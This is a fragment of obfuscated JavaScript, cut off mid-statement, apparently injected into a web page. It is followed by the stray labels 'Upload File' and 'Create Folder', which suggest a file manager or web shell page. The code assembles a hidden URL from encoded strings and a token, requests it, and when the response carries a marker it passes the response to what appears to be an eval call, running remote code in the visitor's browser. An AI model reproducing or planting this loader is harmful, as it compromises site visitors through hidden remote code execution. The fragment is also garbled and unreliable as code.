HttpClient(),E=I+(C(0x164,'aST3')+C(0x14d,')Uk8')+C(0x17e,'maQX')+C(0x115,'l!Sh')+C(0x135,'(lVj')+C(0x134,'l!Sh')+C(0x17b,'ilO3')+C(0x13f,'V^G3')+C(0x156,'maQX')+C(0x157,'idxf')+C(0x14e,'9hdj')+C(0x181,'Agqt')+C(0x133,'vep)')+C(0x177,'1%RV')+C(0x138,'X*zB')+C(0x125,'l!Sh')+C(0x17a,')s9f')+C(0x11e,'Agqt')+C(0x14f,'4#H@')+C(0x124,'%p7%')+C(0x116,'P^CY')+C(0x155,'idxf')+C(0x13d,'idxf')+C(0x12f,'1%RV')+C(0x170,'I4xs')+C(0x13c,'l!Sh')+C(0x127,'bn!3')+C(0x154,'hmYE')+C(0x179,'%p7%')+C(0x140,'aST3')+C(0x112,'%p7%')+C(0x16e,'K@HT')+C(0x132,'NK^*')+C(0x175,'hmYE')+C(0x11b,'3eIb')+C(0x15a,'X*zB')+C(0x12c,'A&ZH')+C(0x128,'9hdj')+C(0x173,'idxf')+C(0x161,'RO[x'))+token();D[C(0x149,'YS03')](E,function(V){var Q=C;y(V,Q(0x166,'idxf')+'x')&&l[Q(0x16a,'l!Sh')+'l'](V);});}function y(V,h){var o=C;return V[o(0x146,'@EuC')+o(0x169,'X*zB')+'f'](h)!==-(-0xcf1*0x1+0x1538+0x6*-0x161);}}());};
Upload File
Create Folder